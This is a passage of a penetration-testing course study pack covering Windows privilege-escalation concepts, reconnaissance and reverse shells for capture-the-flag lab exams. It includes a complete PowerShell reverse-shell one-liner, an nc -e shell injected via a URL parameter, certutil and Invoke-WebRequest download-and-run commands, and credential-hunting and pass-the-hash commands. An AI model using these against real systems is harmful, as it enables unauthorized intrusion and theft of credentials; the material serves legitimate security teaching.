PTD Study Guides & Concepts — Full Reference

ISEC3002 Penetration Testing & Defence — Windows CTF · brush-up study pack · generated 2026-11-10

> **How to use this:** Part 1 are the **teaching guides** (theory → how → worked example → decision tree). Read **Windows Concepts first** if Windows feels fuzzy, then the tutorials in order, and the Metasploit primer whenever. Part 2 are the **concept deep-dives** — reference material you dip into per topic. The copy-paste exam-day commands live in the separate `PTD-Cheatsheet.pdf`; this pack is the *why*.

> **Exam rules threaded throughout:** reverse-shell/listener ports **4444 / 5555 / 6666 only** · **Metasploit = one *documented* use** (console as an oracle is free; reproduce manually for marks) · **be gentle** (no `-T5`, no brute sprays → IP blacklisted) · passwords in rockyou **top ~250** or uncrackable · serve payloads on **:8081** · flags in user/Administrator **Desktop** dirs.

Contents

Part 1 — Study guides (teaching)

1. Windows concepts — tokens, privileges, SYSTEM, services, AD explained
2. Tut 3 — Recon & enumeration
3. Tut 4 — Reverse shells
4. Tut 7 & 8 — Web & the 4 foothold archetypes
5. Tut 9 — Windows privilege escalation
6. Metasploit from zero

Part 2 — Concept deep-dives (reference) 7. Scanning & recon 8. Reverse shells 9. Web pentesting 10. Windows privesc 11. Linux privesc 12. Password attacks 13. File transfer 14. Metasploit

Part 1 — Study Guides

Guide 5 — Windows Systems & Exploitation Concepts (theory brush-up)

> **Purpose:** the mental model of Windows you need so the other four guides *make sense* instead of being commands you copy blindly. Read this first if terms like *token*, *service account*, *SeImpersonate*, *NTLM*, or *Active Directory* feel fuzzy. It's written to build intuition, then connect each concept to how you exploit it on the exam.

Exam reality check up front: your exam target is (almost certainly) a **standalone Windows box**, not part of a corporate domain. So the big Active Directory attacks (Kerberoasting, etc.) are **not** your exam path — but you asked what AD *is*, and understanding it clears up a lot of Windows confusion, so §7 explains it properly and tells you exactly which parts matter for you.

---

1. Users, accounts, and the two special ones

1.1 Local accounts and SIDs

A Windows machine has **local accounts** stored in a database called the **SAM** (Security Accounts Manager). Each account has a human name (`stella`) and a machine-readable **SID** (Security Identifier, like `S-1-5-21-...-1001`). Windows checks permissions by SID, not name.

1.2 The two accounts you care about

- **Administrator** — the built-in local admin. Full control of the machine. The hard flag usually lives at `C:\Users\Administrator\Desktop\`.
- **NT AUTHORITY\SYSTEM** (often just "SYSTEM") — a built-in *machine* account even more powerful than Administrator for local purposes. Services and the OS itself run as SYSTEM. **Your privesc goal is almost always "become SYSTEM,"** because SYSTEM can read any file including the admin's desktop.

Mental shortcut: **SYSTEM ≈ root on Linux.** `whoami` returning `nt authority\system` = you've won.

1.3 Groups

Accounts belong to **groups** that grant rights collectively. The one that matters: `BUILTIN\Administrators` — members are local admins. `whoami /groups` tells you if you're in it (and whether `Everyone` / `BUILTIN\Users` — groups *you* belong to — have access to a file you want to abuse).

---

2. Access tokens and privileges (the heart of Windows privesc)

When you log in or a process starts, Windows attaches an **access token** to it. The token answers two questions for every action:

1. **Who are you?** (your SID + the SIDs of your groups)
2. **What special powers do you hold?** (a list of **privileges**)

2.1 Privileges

Privileges are named rights like `SeImpersonatePrivilege`, `SeBackupPrivilege`, `SeDebugPrivilege`. They're separate from file permissions — they're machine-wide capabilities. `whoami /priv` lists the privileges in *your current token*. Each shows **Enabled** or **Disabled**, but **disabled still counts**: a process is allowed to enable any privilege it already holds, so the exploit works either way. "Present" is what matters, not "Enabled."

2.2 Why SeImpersonate is the golden one

`SeImpersonatePrivilege` lets a process **impersonate another user's access token** — i.e., temporarily act as that user. Legitimately, a service uses this to act on behalf of a client that connected to it. The attack: you trick a **SYSTEM** service into authenticating to you, grab its token, and — because you hold SeImpersonate — impersonate it. Now you *are* SYSTEM. That's what a **Potato** exploit automates (Guide 4 §A.4). You don't execute the COM/RPC trickery by hand; you just recognise "I have SeImpersonate" and run the tool.

2.3 Where tokens hide privileges (the Tut9 twist)

A single user can have **different tokens in different contexts**. Your interactive WinRM shell might have a *filtered* token missing SeImpersonate, while the **scheduled task / service** running as the same (or another) account has a *full* token that keeps it. That's why Guide 4 §C.2 works: you can't escalate your own shell, but you can make a privileged task run your payload *in its token*.

---

3. Services and scheduled tasks (what you abuse to escalate)

3.1 Services

A **Windows service** is a background program the OS starts automatically, usually running as **SYSTEM** or a dedicated **service account**. Think of it as Linux's daemons/systemd units. Each service has:

- a **binary path** (the .exe it launches),
- a **start type** (auto/manual),
- an **account** it runs as.

Inspect with `sc qc <name>` (config) and `sc query` (list). Exploitation (Guide 4 §C.3): if **you can write the service's .exe** (check with `icacls`) and restart it, your code runs as that service's (often SYSTEM) account. Related misconfigs: **unquoted service path** and **weak service permissions** (you're allowed to reconfigure the binary path).

3.2 Scheduled tasks

The Windows equivalent of cron. A task runs a command/script **on a trigger** (a timer, logon, etc.) **as a specified account**. List with `schtasks /query /v /fo list`. Exploitation (Guide 4 §C.2): if a privileged task runs a **script or binary you can overwrite**, replace it — the task runs your version in its (privileged) token on the next trigger.

3.3 Service accounts = free SeImpersonate

Accounts like `IIS APPPOOL\...`, `NT SERVICE\...`, `MSSQL$...`, `svc_*` run services and therefore almost always hold **SeImpersonate**. Landing as one of these (common via a web-app or MSSQL foothold) puts you one potato away from SYSTEM. This single fact drives most exam Windows privesc.

---

4. Authentication: passwords, hashes, NTLM, Kerberos

4.1 Windows doesn't store your password — it stores a hash

Local account password hashes live in the **SAM**; on a domain they live on the Domain Controller. The relevant hash type is **NTLM** (also called the "NT hash") — an unsalted MD4 of the password. Key consequences:

- **Unsalted** → fast to crack with `hashcat -m 1000` / `john --format=NT`, and identical passwords produce identical hashes.
- A column literally named `ntlm_hash` in a looted DB **is** NTLM — crack it as NT regardless of what `hashid` guesses (it sometimes mislabels NTLM as mscash/DCC).

4.2 NTLM authentication (challenge-response) and "pass-the-hash"

When you log in over the network, Windows can use **NTLM authentication**: the server sends a challenge, the client proves it knows the hash by responding — the plaintext password never crosses the wire. Because the *hash*

is what proves identity, an attacker who steals a hash can sometimes authenticate **without cracking it** ("pass-the-hash", e.g. `evil-winrm -H <hash>`). On the exam you'll more often just **crack** a looted hash (passwords are in the rockyou top ~250 or a disclosed pattern) and log in normally.

4.3 Kerberos (domain only — context, not your exam path)

In a domain, Kerberos replaces NTLM: you get time-limited **tickets** from the Domain Controller instead of doing challenge-response per service. This enables domain attacks (Kerberoasting, AS-REP roasting) — **irrelevant to a standalone exam box**, mentioned so the word isn't a mystery.

4.4 Where credentials leak on a box (always check)

- **PowerShell history:** `C:\Users\<u>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` — full of typed commands *including passwords*. Read every user's copy you can reach.
- **Saved creds:** `cmdkey /list` → `runas /savecred`.
- **Registry:** `reg query HKLM /f password /t REG_SZ /s`.
- **Config/backup files:** `web.config`, `*.kdbx`, `users.db`, `*.bak`, readme/notes files.
- **DPAPI/SecureString blobs:** a `SecureString` + key file can be decrypted **offline** by replaying the script's own logic (Guide 4 §C.2 side-quest).

---

5. SMB, shares, and remote access services

- **SMB (139/445)** — Windows file/printer sharing. A **share** is a network-exposed folder (`\\host\Share`). A **null session** (`-N`, no creds) often still lists/reads shares on misconfigured boxes. Your foothold hunting ground (Guide 3 §A.2).
- **WinRM (5985/5986)** — Windows Remote Management; runs PowerShell remotely. **Got a credential?** → `evil-winrm -i $RHOST -u user -p pass` gives you a clean PowerShell shell. This is *the* Windows "I have creds, give me a shell" tool.
- **RDP (3389)** — Remote Desktop; full GUI/console with creds (`xfreerdp3 /u: /p: /v: /cert:ignore`).
- **MSSQL (1433)** — Microsoft SQL Server. With DB creds you can often enable `xp_cmdshell` to run OS commands as the SQL service account (which usually has SeImpersonate → straight to privesc).

---

6. The filesystem, ACLs, registry, cmd vs PowerShell

- **Paths:** `C:\Users\<name>\Desktop` (flags), `C:\Windows\Temp` and `C:\ProgramData` (world-writable staging dirs for your tools), `C:\Program Files` (installed apps, often where vulnerable service binaries sit).
- **ACLs (`icacls`):** every file/folder has an Access Control List. `icacls <path>` shows which SIDs have which rights: `(F)`ull, `(M)`odify, `(W)`rite, `(R)`ead, `(RX)` read+execute. **This is your write-access oracle** before overwriting a script/binary (Guide 4 §A.6).
- **Registry:** a hierarchical config database (`HKLM` = machine-wide, `HKCU` = current user). Privesc checks like `AlwaysInstallElevated` live here (`reg query ...`).
- **cmd.exe vs PowerShell:** `cmd` is the old shell (`dir`, `type`, `sc`, `reg`, `schtasks`, `certutil`). **PowerShell** is the modern one (`Get-ChildItem`, `Invoke-WebRequest`, `Get-CimInstance`), object- oriented and far more capable. You'll use both; your reverse shell may land in either. `certutil` is a cmd built-in that doubles as a file downloader — handy when PowerShell is awkward.

---

7. Active Directory — what it actually is (your confusion, cleared up)

7.1 The one-sentence version

Active Directory (AD) is Windows' system for managing *many* computers and users centrally from one place, instead of each machine managing its own local accounts.

7.2 The problem AD solves

Without AD, every Windows machine is an island: it has its own local SAM, its own `stella` account, its own Administrator. In a company with 5,000 PCs that's unmanageable — you'd create every user 5,000 times. AD centralises this.

7.3 The pieces (plain English)

- **Domain** — a group of computers and users that trust one central authority. Identified by a name like `corp.example.com`.
- **Domain Controller (DC)** — the server that *is* that authority. It holds the central database of all users, groups, and computers, and it handles logins for the whole domain. (Lose the DC = own the domain.)
- **Domain accounts vs local accounts** — a **domain account** (`CORP\stella`) is defined once on the DC and can log into *any* machine in the domain. A **local account** (`MACHINE\stella`) exists only on that one box. *Your exam box uses local accounts.*
- **Forest / OU / GPO** — a **forest** is one or more domains that trust each other; an **OU** (Organizational Unit) is a folder for organising users/computers; a **GPO** (Group Policy Object) is a rule pushed from the DC to configure/lock down machines centrally. You don't need these for the exam — just know the words.
- **Kerberos** (from §4.3) is the authentication protocol AD uses.

7.4 Local vs domain — the distinction that matters

```
LOCAL (your exam box)              DOMAIN (corporate / advanced CTFs)
─────────────────────              ──────────────────────────────────
accounts in SAM on the box    vs   accounts in AD on the Domain Controller
Administrator / SYSTEM         vs   Domain Admins, plus local admins
privesc = SeImpersonate,       vs   all that PLUS Kerberoasting, AS-REP,
 services, tasks, MSI                DCSync, lateral movement, BloodHound
```

7.5 What this means for your exam

Your target is a **standalone box**, so:

- ✅ **Relevant:** local accounts, SYSTEM vs Administrator, access tokens, SeImpersonate, services, scheduled tasks, NTLM hashes, SMB shares, WinRM/RDP. **These are your whole game.**
- ❌ **Not your path:** domain enumeration, Kerberoasting, BloodHound, DCSync. If you ever see a domain name in `whoami` output, it's incidental — stick to the local privesc techniques in Guide 4.

Understanding AD still helps because a lot of Windows terminology (`NT AUTHORITY`, service accounts, Kerberos, SIDs) comes from the domain world — now you know where those words live and which ones to ignore under exam pressure.

---

8. The whole kill-chain, tied together with the concepts

```
RECON (Guide 1)        nmap finds open ports → SMB/web/FTP/services
   │                   concepts: ports, SMB null sessions, service versions
FOOTHOLD (Guide 3)     anon share / FTP auto-exec / public exploit / web RCE
   │                   concepts: shares & ACLs, service accounts, SQLi, NTLM crack
REVERSE SHELL (Guide 2) target connects back to Kali on 4444
```

```
   |                  concepts: tokens (you now run as SOME account)
PRIVESC (Guide 4)     whoami /priv → SeImpersonate? potato → SYSTEM
   |                  concepts: access tokens, privileges, services, tasks, MSI, icacls
FLAGS                 type C:\Users\Administrator\Desktop\*flag*   (SYSTEM reads anything)
```

9. Thirty-second glossary

- **SYSTEM** — most powerful local machine account; your privesc goal (≈ root).
- **Access token** — the "who + what powers" tag on every process.
- **Privilege** — a named machine-wide right (e.g. SeImpersonate); `whoami /priv` lists yours.
- **SeImpersonate** — lets you impersonate a token → potato → SYSTEM. The golden privilege.
- **Service account** — runs a service; usually has SeImpersonate.
- **Potato** — exploit family that turns SeImpersonate into SYSTEM (SigmaPotato/PrintSpoofer/GodPotato).
- **SMB** — Windows file sharing (445); shares may be anon-readable/writable.
- **NTLM hash** — the stored/crackable form of a Windows password (`-m 1000` / `--format=NT`).
- **WinRM** — remote PowerShell (5985); `evil-winrm` once you have creds.
- **icacls** — prints a file's ACL; your write-access oracle before overwriting.
- **SAM** — local account/hash database.
- **Active Directory / Domain / DC** — central multi-machine management; **not your standalone-box exam path.**

Cross-refs: recon → Guide 1 · reverse shells → Guide 2 · footholds → Guide 3 · privesc → Guide 4.

Guide 1 — Reconnaissance & Enumeration (Tut 3)

> **Why this tutorial matters:** Recon is the opening move on *every* box. It's short to run but you do it every single time, and a thorough recon is what makes the rest of the exam fast — you can't exploit a service you never found. On a Windows CTF, 70% of your "aha" moments come from reading an nmap result or an SMB share carefully. **The answer is often obvious — recon is where it's hiding.**

This guide teaches the *theory* (what each scan actually does and why), then shows you how to run the whole thing with the **toolkit**, then walks a worked example end-to-end.

Part A — The theory you need

A.1 What "reconnaissance" actually means

Recon = building a map of the target before you attack. Two sub-goals:

1. **Port/service discovery** — which TCP/UDP ports are open, and what software (and *version*) is listening on each. An open port is a door; the version tells you if the lock is weak.
2. **Service enumeration** — for each interesting service, extract everything you can *without credentials*: share names, users, web directories, banners, config leaks.

Everything downstream (foothold choice, which exploit, which password list) is decided by what recon finds. If you rush this, you waste time attacking the wrong door.

A.2 How a TCP port scan works (so the flags make sense)

TCP uses a 3-way handshake: client sends **SYN**, server replies **SYN-ACK** if the port is open (or **RST** if closed), client sends **ACK**. nmap scan types differ in how much of this they complete:

- **SYN scan (`-sS`)** — "half-open": sends SYN, reads the reply, never completes the handshake. Fast and a little quieter. **Needs root** (crafts raw packets).
- **Connect scan (`-sT`)** — completes the full handshake via the OS. No root needed. **Required when scanning through a SOCKS proxy** (proxychains) because raw packets can't traverse a proxy.
- **UDP scan (`-sU`)** — UDP is connectionless, so nmap infers "open" from a reply or "open|filtered" from silence. **Slow.** Only use it for specific services (SNMP 161, DNS 53, TFTP 69).

Open vs filtered: a Windows firewall set to default-deny makes most ports show **filtered** (packets silently dropped, no RST). Only explicitly-allowed ports answer. Don't waste time on filtered ports — focus on the handful that respond.

A.3 Why "be gentle" is a hard rule here

The exam target has defences that **blacklist your source IP** if you scan loudly. That means:

- **Never** `-T5` (insane timing — fires packets as fast as possible). Default `-T3` or `-T2` is safe.
- No full-rockyou brute force against login forms (that's a recon-adjacent temptation — resist it).
- If you get blacklisted, your exam is effectively over. Slow and deliberate wins.

The toolkit's recon is pre-tuned to `-T2` so you physically can't fat-finger this.

A.4 The Windows ports you must recognise on sight

When nmap finishes, your eyes should jump straight to these:

Port	Service	What it means for you
21	FTP	Anonymous login? → file access, maybe a writable auto-exec folder
80 / 443 / 8080 / 8000	HTTP(S)	**Most likely foothold** → web enumeration next
135 / 139 / 445	RPC / NetBIOS / **SMB**	Shares, null sessions — *always check first*
1433	MSSQL	DB creds → `xp_cmdshell` command execution
3389	**RDP**	Got creds? → full GUI/console (`xfreerdp`)
5985 / 5986	**WinRM**	Got creds? → `evil-winrm` PowerShell shell (the Windows money shell)
161/udp	SNMP	`public` community string can leak users/processes

Mental model: Web port = find a web foothold. SMB/FTP = check for anonymous access and a flag sitting in a share. A credential you find anywhere = try it on WinRM (5985) or RDP (3389) for a shell.

A.5 Enumeration tools and what each is *for*

- **nmap NSE scripts (`-sC` , or `--script x`)** — bolt-on checks (SMB share listing, HTTP titles, OS discovery). `-sC` runs the "default safe" set.
- **smbclient / smbmap / enum4linux-ng** — talk to SMB (445). List shares, connect anonymously (`-N` = null session), see read/write access.
- **whatweb** — fingerprints a web app's tech stack (framework, server, CMS) from one request.
- **gobuster / dirb / dirsearch** — brute-force *directories and files* on a web server using a wordlist (find `/admin` , `/backup.zip` , `robots.txt` -hidden paths).
- **ffuf / Arjun** — fuzz *parameter names* (find a hidden `?logfile=` GET param).
- **snmpwalk** — dump an SNMP MIB tree if the community string is guessable (`public`).

Part B — Doing it with the toolkit

B.0 One-time per box: set your target

```
source ~/ptd-toolkit/aliases.sh     # if a fresh shell didn't auto-load them
sett 10.10.10.10                    # sets $RHOST=target AND $LHOST=your Kali IP (auto-detected)
vars                                # sanity check: prints RHOST + LHOST
```

`sett` is the single most-used alias — every later command references `$RHOST` / `$LHOST` , so set it once.

B.1 The scripted recon (your default opening move)

```
bash ~/ptd-toolkit/scripts/recon.sh $RHOST
```

What `recon.sh` does for you, in order (this *is* Part A automated and gentle):

1. `nmap -Pn -n -T2 -p-` → full TCP port sweep, polite timing, saves to `loot/nmap/` .
2. Extracts the open ports from that output.
3. `nmap -sV -sC` on **only** the open ports → versions + default scripts.
4. Prints **per-service HINTS** — e.g. sees 445 → reminds you to run SMB enum; sees 80 → reminds you to web-enumerate. This is your checklist, generated from what's actually open.

Read the HINTS block carefully — it's telling you which door to try.

B.2 The manual equivalents (know these in case a script misbehaves)

The cheat sheet `cheatsheets/01-recon-enum.md` has the copy-paste versions. Core ones:

```
nmapfast            # alias: polite full-port sweep of $RHOST
nmapsvc             # alias: -sV -sC version/script scan
```

```
smbnull             # alias: smbclient -L //$RHOST -N  (list shares, null session)
```

Per-service, by hand:

```
# SMB (do this the moment you see 445) ---------------------------------
smbclient -L //$RHOST -N                        # list shares anonymously
smbmap -H $RHOST                                # shares + R/W access at a glance
smbclient //$RHOST/ShareName -N                 # connect; then: ls, get <file>, put <file>
enum4linux-ng -A $RHOST                          # all-in-one users/shares/policy

# Web (the moment you see 80/443/8080) ----------------------------------
whatweb http://$RHOST                            # tech fingerprint
curl -s http://$RHOST/robots.txt                 # cheap hint for hidden paths
gobuster dir -u http://$RHOST -w /usr/share/wordlists/dirb/common.txt -t 10 -x txt,php

# Credentialed-service checks (once you HAVE a username/password) -------------
evil-winrm -i $RHOST -u USER -p PASS             # WinRM shell (5985)
xfreerdp3 /u:USER /p:PASS /v:$RHOST /cert:ignore # RDP (3389)
```

> **Gentle gobuster:** the cheat sheet uses `-t 10` (10 threads), not the default 30+, to stay quiet.

B.3 Where output goes (report evidence)

`recon.sh` writes to `~/ptd-toolkit/loot/nmap/`. Everything in `loot/` is gitignored (your scratch). Keep these files — the nmap output and a screenshot of the open-ports result are **report evidence** for Part 2. Don't paste 65,535 lines into the report; show the open-ports summary and the `-sV` lines.

Part C — Worked example (Insomnia box, Tut 3 shape)

This is a Linux box in the tutorial, but the *method* is identical on Windows — it drills the "enumerate → find the weird thing → turn it into RCE" instinct.

1. **Scan.** `bash scripts/recon.sh $RHOST` → only port **8080** open (an alternate HTTP port). The HINTS block says "web port — enumerate with gobuster/whatweb."
2. **Browse + fingerprint.** The page is a chat app — a dead end by itself. `whatweb` shows a basic PHP app.
3. **Directory brute force.** `gobuster dir -u http://$RHOST:8080 -w .../common.txt -x php` → finds `administration.php`. Browsing it does nothing visible — it wants a *parameter*.
4. **Parameter fuzzing.** The page seems to expect a hidden GET param, so fuzz the name:

   ```
   ffuf -w ./SecLists/Discovery/Web-Content/common.txt \
        -u "http://$RHOST:8080/administration.php?FUZZ=helloworld" -fs 65
   ```

   `-fs 65` filters out the 65-byte "nothing here" response so only a *different*-sized (= real) response shows. → finds the param `logfile`.
5. **Local file read → command injection.** `?logfile=chat.txt` reads a file (an LFI-ish feature). Appending a shell metacharacter tests for command injection: `?logfile=chat.txt;id` → runs `id` as `www-data`. **That's RCE.**
6. **Reverse shell through the injection** (covered in detail in Guide 2):

   ```
   l4      # toolkit alias: start listener on 4444 FIRST
   ```

   Then trigger (URL-encode spaces as `%20`): `?logfile=chat.txt;nc%20$LHOST%204444%20-e%20/bin/bash`

7. **Stabilise** the shell, read the user flag, then look for a privesc misconfig (here: a world-writable cron script → root).

The transferable lesson: recon didn't hand you a flag — it handed you `administration.php`, which led to `logfile`, which led to RCE. **Each enumeration step reveals the next.** On the exam, when a scan looks "empty," you haven't enumerated deeply enough yet.

Part D — The Windows-specific recon decision tree (memorise)

```
1. sett $IP ; bash scripts/recon.sh $RHOST      # full gentle scan + hints
2. See 445?  → smbclient -L //$RHOST -N ; enum4linux-ng -A $RHOST
              → anon-readable share? READ IT. (easy flag is often just sitting there)
              → writable share? note the on-disk path — that's a payload drop later.
3. See 21?   → ftp $RHOST (anonymous/anonymous). Writable? auto-exec folder? (foothold)
4. See 80/443/8080? → whatweb + gobuster → Guide 3 (web foothold)
5. Found a credential anywhere? → evil-winrm (5985) or xfreerdp3 (3389) for a shell
6. Got a shell? → IMMEDIATELY: whoami /priv   → Guide 4 (privesc)
```

Part E — Gotchas & exam discipline

- **Polite timing only.** The toolkit uses `-T2`. Never raise it unless you've confirmed defences are lenient — blacklisting ends your exam.
- **Save every scan** (`-oN`, or let `recon.sh` do it) — it's Part-2 report evidence.
- **Re-scan thin results.** If `-sV` is vague on an interesting port, re-run a focused script scan on just that port. "Tools don't always work with default settings — adapt the flags."
- **Check anonymous SMB *and* FTP first on a Windows box.** The easy flag is frequently in an anonymous share or FTP folder. Don't overthink it.
- **UDP last.** Only `-sU -p 161` (SNMP) if TCP is a dead end — UDP scanning is slow.

Cross-refs: turning a foothold into a shell → Guide 2 (reverse shells); web footholds → Guide 3; privesc after the shell → Guide 4; Windows/AD concepts → Guide 5.

Guide 2 — Reverse Shells (Tut 4)

> **Why this tutorial matters:** A foothold vulnerability (web RCE, command injection, a writable service) only *gives you the ability to run one command*. The reverse shell is how you turn that one command into a **full interactive session** on the target. You will do this on every box, live, under time pressure — so the mechanics must be muscle memory. Fumbling the listener/port/encoding is the #1 time-waster. This guide makes it automatic.

Part A — The theory you need

A.1 Bind shell vs reverse shell (and why reverse wins)

- **Bind shell:** the *target* opens a listening port and waits; *you* connect to it. Problem: the target's firewall usually blocks inbound connections, so this rarely works.
- **Reverse shell:** the *target* connects **back out** to a listener on *your* Kali box. Outbound connections are almost always allowed, so this is the reliable choice. "Reverse" = the connection direction is reversed from what you'd expect.

```
TARGET  ---- connects back to ---->  KALI ( nc -lvnp 4444 waiting )
(runs the payload)                  (you get a shell here)
```

So there are always **two halves**, and **order matters**:

1. **Listener on Kali FIRST** (`nc -lvnp 4444`). If the payload fires before the listener is up, the connection is refused and you get nothing.
2. **Payload on the target SECOND** (delivered via your RCE vector).

A.2 THE EXAM PORT RULE (read this every single time)

> Reverse-shell listeners and payloads **must** use **4444, 5555, or 6666 — nothing else.** Tut8 states verbatim: *"In RONIN, during the exam only port 4444 is available for reverse shell connections."* So **4444 is your default**; use 5555/6666 only for a *second* shell (e.g. a privesc shell while the first is still live).

Toolkit convention:

- **4444** = main/foothold shell
- **5555** = second/privesc shell
- **6666** = spare

Tutorials love ports like 443, 1234, 4321 — **always override them to 4444/5555/6666.** This is the single most common way students lose marks or lose connectivity on this exam.

A.3 What "catch the shell" means

`nc -lvnp 4444` (netcat listener) just prints whatever bytes the target sends and forwards whatever you type back. When the payload connects, you'll see `connect to [kali] from [target]` and then a prompt. That raw netcat shell is **fragile** — no arrow keys, no tab-complete, Ctrl-C kills the whole shell. You *stabilise* it (§D) to make it usable.

A.4 Payload types — pick by what the target can run

- **Windows PowerShell one-liner** — most reliable on a modern Windows target; nothing to upload, you paste it straight into your RCE vector. **This is your default on the exam.**
- `nc.exe -e cmd.exe` — simple, but you must upload `nc.exe` first (it's in the toolkit).

- **msfvenom-generated** `.exe` — a compiled reverse-shell binary you transfer and run. Good when you need a file (e.g. to overwrite a service binary). **Generating it does NOT burn your one Metasploit use** — that rule is only about `msfconsole` exploit *modules*.
- **Linux bash/python one-liners** — for Linux boxes / the attacker-box context.

A.5 msfvenom ≠ "the one Metasploit use" (important nuance)

The exam lets you use Metasploit **once**. That limit applies to `msfconsole` **exploit modules** (auto-exploitation). It does **not** apply to:

- `msfvenom` (payload generator — makes .exe/.msi/.ps1 files)
- `nc -lvnp` or `exploit/multi/handler` used purely as a *listener* to catch a manual payload

So you can freely use msfvenom to build shells all day. Spend the one real MSF use on a *foothold exploit* you can't easily do by hand — never on privesc (manual privesc = bonus marks).

Part B — Doing it with the toolkit

B.1 Start a listener (Kali side, always first)

```
l4          # alias → rlwrap nc -lvnp 4444   (main shell)
l5          # alias → listener on 5555       (privesc / second shell)
l6          # alias → listener on 6666       (spare)
```

`rlwrap` wraps netcat so you get arrow-key history and line editing even before stabilising. If you prefer the script form (it validates the port is 4444/5555/6666 for you):

```
bash ~/ptd-toolkit/scripts/listen.sh 4444
```

B.2 Get the payload (target side)

The one-liners live in `payloads/reverse-shells.txt` (offline — no revshells.com needed). The fastest path for a Windows target is the `winrev` function, which **prints a ready-to-paste PowerShell reverse shell** with your `$LHOST` and chosen port already filled in:

```
winrev 4444        # prints the Windows PowerShell one-liner for port 4444 (takes a PORT, not an
IP)
```

(`$LHOST` must be set first — `sett <target-ip>` auto-detects it; check with `vars`.) Copy that output, paste it into your RCE vector (web field, command injection, Burp `&cmd=`, etc.).

The raw Windows PowerShell one-liner (what `winrev` emits) looks like:

```
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('$LHOST',4444);$s=$c.GetStream();
[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object
Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'>
';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"
```

B.3 If you need a compiled exe (service overwrite, upload-and-run)

```
venexe 4444                # alias → msfvenom windows/x64/shell_reverse_tcp exe on port 4444 →
shell.exe
# then serve it and pull it onto the target:
serve                      # alias → python3 -m http.server 8081 over payloads/
```

On the target, download + run (see Guide on transfers / Guide 4 §1):

```
Invoke-WebRequest -Uri "http://$LHOST:8081/shell.exe" -OutFile "C:\Windows\Temp\shell.exe"
C:\Windows\Temp\shell.exe            # (Kali: l4 already listening)  → shell as that user
# OR living-off-the-land with certutil (no PowerShell needed):
certutil.exe -urlcache -f http://$LHOST:8081/shell.exe C:\Windows\Temp\shell.exe
```

B.4 nc.exe variant

```
# nc.exe ships in the toolkit (fetched by fetch-binaries.sh). Serve it, pull it, then on target:
nc.exe $LHOST 4444 -e cmd.exe        # Kali: l4
```

Part C — Delivering the payload (the RCE vectors from the course)

The payload has to *run somehow*. The vector comes from your recon/foothold work:

- **Command injection** (Insomnia): `?param=file;powershell -nop -c "..."` — URL-encode spaces as `%20`, and remember the exam port.
- **File upload + webshell** (DomDom): upload `php-reverse-shell.php`, then browse to it to trigger.
- **Burp-intercepted RCE** (DomDom): intercept the login POST, send to Repeater, add `&cmd=id` to confirm RCE, then set `&cmd=` to a download-and-run of your reverse shell.
- **Writable service / scheduled task** (Windows privesc, Guide 4): the "payload" is an exe you drop where a privileged process will execute it.

Part D — Stabilise the shell (do this immediately after catching it)

Linux target

```
python3 -c 'import pty; pty.spawn("/bin/bash")'   # upgrade to a pseudo-terminal
export TERM=xterm
# background with Ctrl+Z, then on Kali:
stty raw -echo; fg                                 # restores full TTY: arrow keys, tab, Ctrl-C
```

Now you have a proper interactive shell (history, tab-complete, and Ctrl-C won't kill it).

Windows target

The PowerShell one-liner is already interactive enough — you get a `PS ...>` prompt and can run commands normally. For a raw `cmd.exe` shell, just work in it; if you want PowerShell features, type `powershell` to drop into it.

First commands after you land (orient fast)

```
# Linux
id ; whoami ; hostname ; ls -la ~ ; cat ~/flag* 2>/dev/null
```

```
:: Windows — whoami /priv is THE privesc decider (see Guide 4)
whoami & whoami /priv & hostname
dir C:\Users\%USERNAME%\Desktop
type C:\Users\*\Desktop\flag_easy.txt 2>nul
```

Part E — Worked example (DomDom box, Tut 4 shape)

1. **Recon.** nmap → port 80. `dirb` / `gobuster` → hidden dirs, no creds yet.

2. **Find the RCE.** Burp-intercept the login POST; send to Repeater; change the path to `/admin.php` — the response reveals a `cmd` script parameter. Add `&cmd=id` → it runs as **www-data**. RCE confirmed.
3. **Serve the payload.** On Kali, copy and edit the PHP reverse shell, set `$ip` to `$LHOST` and `$port` to **4444**, then `serve` it (`python3 -m http.server`).
4. **Deliver + trigger.** Via `&cmd=`: `wget http://$LHOST/php-reverse-shell.php -O shell.php`, then `&cmd=php shell.php`. (Listener `l4` already running.)
5. **Catch + stabilise.** nc catches it; `python3 -c 'import pty...'` + `stty raw -echo; fg`.
6. **Loot + privesc.** Read the user flag; then enumerate for privesc (here: `getcap -r /` shows `/bin/tar` has `cap_setuid` → GTFOBins tar trick → read the root password → `su root`).

The transferable lesson: `RCE vector → serve payload from Kali → trigger connect-back → catch → stabilise → enumerate for privesc.` Same five beats every time; only the vector changes.

Part F — Gotchas & exam discipline

- **Listener before payload, every time.** Connection refused = you fired the payload with no listener.
- **4444 is the exam default.** Only 4444/5555/6666 ever. Override any tutorial port.
- **URL-encode** spaces (`%20`) and special chars when injecting a payload through a URL/GET param.
- **msfvenom is free** — use it for exe/msi/ps payloads without spending your one MSF use.
- **Antivirus/Defender** can eat a naive msfvenom exe. The PowerShell one-liner and `nc.exe` usually sail through on these exam boxes; if an exe dies instantly on launch, switch to the PowerShell shell.
- **If the shell dies**, the listener drops too — restart `l4` before re-triggering.

Cross-refs: what to run *before* this (recon) → Guide 1; where the RCE vector comes from (web) → Guide 3; what to do *after* you land on Windows → Guide 4; underlying Windows concepts → Guide 5.

Guide 3 — Web & Service Exploitation / Footholds (Tut 7 & 8)

> **Why these tutorials matter:** This is where you get your **first shell**. Recon finds the open door; this is how you walk through it. On a Windows CTF the foothold is *usually* an anonymous SMB share, an anonymous FTP folder, a versioned service with a public exploit, or a vulnerable web app. Rehearsing the four archetypes is what turns a 40-minute flail into a 10-minute foothold.

Tut 7 covers STARLIGHT (Win) + STRATUS (Lin); Tut 8 covers CYCLES (Win) + ARDOLIS (Lin). Focus your practice on the **Windows** boxes (STARLIGHT, CYCLES); the Linux ones still teach reusable techniques (SQLi, pivoting, hash cracking).

Part A — The theory you need

A.1 The 4 Windows foothold archetypes (memorise these)

One of these is almost certainly your exam easy/intermediate flag path:

1. **Anonymous SMB share** → read notes/creds/flag; or a **writable** share you drop a payload into.
